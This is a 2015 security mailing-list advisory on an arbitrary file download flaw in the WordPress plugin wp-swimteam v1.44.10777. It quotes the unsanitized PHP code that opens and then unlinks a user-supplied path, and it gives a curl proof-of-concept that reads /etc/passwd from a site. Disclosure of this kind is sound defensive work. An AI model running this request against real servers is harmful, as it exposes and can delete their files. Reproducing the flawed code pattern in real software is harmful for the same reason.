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Message-id: <61244B9F-F7C6-40EE-BCB1-66B8ABBF21E8@me.com>
Date: Wed, 08 Jul 2015 06:52:35 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Cc: fulldisclosure@...lists.org
Subject: Remote file download vulnerability in Wordpress Plugin wp-swimteam
v1.44.10777
Title: Remote file download vulnerability in Wordpress Plugin wp-swimteam v1.44.10777
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-02
Download Site: https://wordpress.org/plugins/wp-swimteam
Vendor: Mike Walsh www.MichaelWalsh.org
Vendor Notified: 2015-07-02, fixed in v1.45beta3
Vendor Contact: Through website
Advisory: http://www.vapid.dhs.org/advisory.php?v=134
Description: Swim Team (aka wp-SwimTeam) is a comprehensive WordPress plugin to run a swim team including registration, volunteer assignments, scheduling, and much more.
Vulnerability:
The code in ./wp-swimteam/include/user/download.php doesn't sanitize user input from downloading sensitive system files:
50 $file = urldecode($args['file']) ;
51 $fh = fopen($file, 'r') or die('Unable to load file, something bad has happened.') ;
52
53 while (!feof($fh))
54 $txt .= fread($fh, 1024) ;
55
56 // Clean up the temporary file - permissions
57 // may prevent this from succeedeing so use the '@'
58 // to suppress any messages from PHP.
59
60 @unlink($file) ;
61 }
62
63 $filename = urldecode($args['filename']) ;
64 $contenttype = urldecode($args['contenttype']) ;
65
66 // Tell browser to expect a text file of some sort (usually txt or csv)
67
68 header(sprintf('Content-Type: application/%s', $contenttype)) ;
69 header(sprintf('Content-disposition: attachment; filename=%s', $filename)) ;
70 print $txt ;
CVEID:
OSVDB:
Exploit Code:
• $ curl "http://www.vapidlabs.com/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"
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